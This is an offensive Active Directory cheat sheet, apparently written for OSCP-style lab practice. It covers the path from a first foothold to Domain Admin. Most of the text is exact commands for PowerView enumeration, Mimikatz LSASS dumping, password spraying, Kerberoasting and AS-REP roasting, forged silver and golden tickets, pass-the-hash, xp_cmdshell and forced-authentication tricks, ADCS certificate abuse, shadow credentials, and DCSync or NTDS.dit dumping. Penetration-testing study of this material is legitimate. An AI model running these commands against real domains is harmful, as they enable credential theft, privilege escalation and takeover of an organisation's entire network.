Active Directory: enumeration to domain dominance
From first foothold to Domain Admin — enumeration, credential harvesting, Kerberos roasting, lateral movement, ADCS, and persistence, with the exact commands.
Everything from first foothold to domain dominance, in the order the domain usually falls: enumerate, harvest credentials, roast tickets, move laterally, then persist. Commands are the ones I actually reach for — Windows-native, PowerView, Rubeus, Mimikatz, and the Impacket/Linux equivalents side by side.
#Enumeration
The first job on any foothold is to understand the domain without tripping alarms. Native tooling first, PowerView when you can drop a script.
#Living off the land
whoami /priv # token privileges — SeImpersonate, SeBackup are gold
whoami /all # groups + SIDs
net user /domain # every domain account
net group /domain # every domain group
net group "Sales Department" /domain
net user bob /domain # detail on one principal
setspn -L iis_service # SPNs for an account (kerberoast targets)Dump every domain user to a clean, one-per-line list for spraying:
net user /domain > users.txt
grep -vE '^(The|User|---|^$)' users.txt | xargs -n1 > cleaned_users.txt#PowerView
powershell -ep bypass
Import-Module .\PowerView.ps1
Get-NetDomain
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup | select cn
Get-NetGroup "Sales Department" | select member
Get-NetComputer | select operatingsystem,dnshostname
Find-LocalAdminAccess # boxes where the current user is local admin
Get-NetSession -ComputerName files04 # who's logged in (often permission-blocked)
Get-NetUser -SPN | select samaccountname,serviceprincipalname
Find-DomainShare # reachable sharesHunt for dangerous ACLs — GenericAll is the highest right in AD, and whoever holds it over a group can add themselves to it:
Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
"S-1-5-21-...-512","S-1-5-21-...-1104" | Convert-SidToName
net group "Management Department" stephanie /add /domainThen automate the whole picture with SharpHound → BloodHound and let the graph find the shortest path to Domain Admin.
GPP passwords are AES-256 encrypted but Microsoft published the key. Anything you find in SYSVOL
Groups.xmlcracks instantly:gpp-decrypt "<blob>".
#Harvesting cached credentials
With local admin on a box, Mimikatz reads secrets straight out of LSASS:
.\mimikatz.exe
privilege::debug # interact with other users' processes
sekurlsa::logonpasswords # NTLM hashes (+ cleartext if WDigest is on)
sekurlsa::tickets # cached TGT/TGS#Password attacks in the domain
Always check the lockout policy before spraying — net accounts — then spray one password across many users, never the reverse.
.\Spray-Passwords.ps1 -Pass Nexus123! -Admincrackmapexec smb 192.168.50.10 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
.\kerbrute_windows_amd64.exe passwordspray .\users.txt "Nexus123!" -d corp.com#Kerberos ticket attacks
#AS-REP roasting
Any account with "Do not require Kerberos preauthentication" set hands you a crackable hash with no auth at all.
impacket-GetNPUsers -dc-ip 192.168.50.10 -outputfile hashes.asrep -request corp.com/pete
hashcat -m 18200 hashes.asrep rockyou.txt -r /usr/share/hashcat/rules/best64.rule.\Rubeus.exe asreproast # from a domain-joined box, no creds needed#Kerberoasting
Any authenticated user can request a service ticket for an SPN and crack it offline for the service account's password.
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
hashcat -m 13100 hashes.kerberoast rockyou.txt -r /usr/share/hashcat/rules/best64.ruleimpacket-GetUserSPNs -request -dc-ip 192.168.50.140 corp.com/pete#Silver tickets
Forge a service ticket offline once you own a service account's NTLM hash. Needs: SPN hash + domain SID + target SPN.
kerberos::golden /sid:<domainSID> /domain:corp.com /target:web04.corp.com /service:http /rc4:<svc-ntlm> /ptt /user:jeffadmin
klist # confirm the ticket is in memory#Lateral movement
#Pass the hash / pass the ticket
# PsExec (needs local admin; classic telnet successor)
.\PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd
# Pass the Hash — no password, just the NTLM
impacket-wmiexec -hashes :<ntlm> Administrator@192.168.50.60Overpass-the-hash turns an NTLM hash into a Kerberos ticket so you never send NTLM over the wire:
sekurlsa::pth /user:jen /domain:corp.com /ntlm:<hash> /run:powershell
# then cache a ticket by touching a share, and PsExec with Kerberos
net use \\FILES04 && klist
.\PsExec.exe \\FILES04 cmdPass the ticket — a TGS can be re-injected on other hosts (a TGT only works where it was minted):
sekurlsa::tickets /export
dir *.kirbi
kerberos::ptt [0;abc]-2-0-...-dav@cifs-web04.kirbi
klist#SQL Server as a movement vector
Domain SQL logins are a reliable pivot — Windows auth against 1433, then xp_cmdshell (the service account almost always holds SeImpersonate → potato → SYSTEM), or steal its NetNTLM hash:
mssqlclient.py user@ip -windows-auth
enable_xp_cmdshell
# if blocked, coerce auth to a Responder listener instead:
xp_dirtree "\\<kali-ip>\share\" # crack the NetNTLMv2 with hashcat -m 5600MSSqlPwner automates linked-server chaining and impersonation across a SQL estate:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
mssqlpwner 'oscp.exam/sql_svc:<pass>@10.10.108.148' -windows-auth interactive#Resetting a user's password (AllExtendedRights)
If BloodHound shows you AllExtendedRights/force-change over a target, reset it with PowerView:
. .\PowerView.ps1
$Cred = New-Object System.Management.Automation.PSCredential('DOM\lisa', (ConvertTo-SecureString 'LisaPass' -AsPlainText -Force))
$new = ConvertTo-SecureString 'NewPss123' -AsPlainText -Force
Set-DomainUserPassword -Identity jackie -AccountPassword $new -Credential $Cred#Certificate (ADCS) attacks
Find vulnerable templates first, then abuse enrolment to authenticate as anyone.
certipy-ad find -u user -p pass -target exam.oscp -text -stdout -vulnerableESC1-style enrolment — request a cert as a privileged UPN and turn it into a hash/TGT:
certify.exe request /ca:DC01\oscp-DC01-CA /template:User # from Windows
Rubeus.exe asktgt /user:eric.wallows /certificate:eric.wallows.pfx /getcredentials /show /nowrapWhen a template lets you set the UPN, mint a machine account and enrol as Administrator:
nxc ldap 10.10.103.50 -u user -p pass -M maq # check MachineAccountQuota
impacket-addcomputer 'oscp.exam/svc_web' -method LDAPS -computer-name MS007 -computer-pass 'Password123!' -dc-ip 10.10.50.60
certipy-ad req -username MS007 -password 'Password123!' -ca OSCP-CA -dc-ip 10.10.50.60 -template CorpVPN -upn administrator@oscp.exam
certipy-ad auth -pfx administrator.pfx
# or split the pfx and drive an LDAP shell with pass-the-cert:
certipy-ad cert -pfx administrator.pfx -nocert -out admin.key
certipy-ad cert -pfx administrator.pfx -nokey -out admin.crt
python3 passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain oscp.exam -dc-ip 10.10.50.60#Shadow Credentials
With GenericWrite/WriteProperty over a target's msDS-KeyCredentialLink, add your own key credential and authenticate via PKINIT — no password, no reset needed.
python3 pywhisker.py -d laser.com -u yulia.weber -p 'Yulia@Laser777' --target boris.crawford --action add
python3 gettgtpkinit.py -cert-pfx out.pfx -pfx-pass <pass> -dc-ip 192.168.224.172 -v laser.com/boris.crawford boris.ccache
export KRB5CCNAME=boris.ccache
impacket-psexec -k -no-pass laser.com/boris.crawford@192.168.224.172
python3 pywhisker.py ... --action remove # clean up the key credentialIf the DC rejects PKINIT (KDC_ERR_PADATA_TYPE_NOSUPP), drive the same .pfx through Rubeus on Windows instead:
Rubeus.exe asktgt /user:boris.crawford /certificate:out.pfx /password:<pass> /domain:laser.com /dc:192.168.224.172 /outfile:boris.kirbi
Rubeus.exe ptt /ticket:boris.kirbi#Dumping the domain: NTDS.dit & DCSync
DCSync impersonates a DC over the replication protocol — needs Replicating Directory Changes rights (or DA), no code execution on the DC, and it's stealthier than touching disk. Pull krbtgt for a golden ticket:
lsadump::dcsync /domain:corp.com /user:administrator
lsadump::dcsync /domain:corp.com /user:krbtgtimpacket-secretsdump -just-dc-user administrator corp.com/jeffadmin:'Password123!'@192.168.50.60Disk-based dump when you have admin on the DC — snapshot with diskshadow/vshadow, then parse offline:
diskshadow /s C:\temp\script.txt # script exposes C: as F:
robocopy /b F:\windows\ntds . ntds.dit
robocopy /b F:\windows\system32\config . SYSTEMsecretsdump.py -system SYSTEM -ntds ntds.dit LOCALVerify who actually holds DCSync rights before you try:
Get-ObjectAcl -SamAccountName <user> -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "Replicate" }#Persistence: Golden ticket
Own krbtgt and you can forge a TGT for anyone, from an unjoined machine, no admin required:
lsadump::lsa /patch # note the domain SID + krbtgt NTLM
kerberos::purge
kerberos::golden /user:jen /domain:corp.com /sid:<domain-SID> /krbtgt:<krbtgt-ntlm> /ptt
misc::cmd
PsExec64.exe \\DC1 cmd.exe # whoami /priv → full DA rights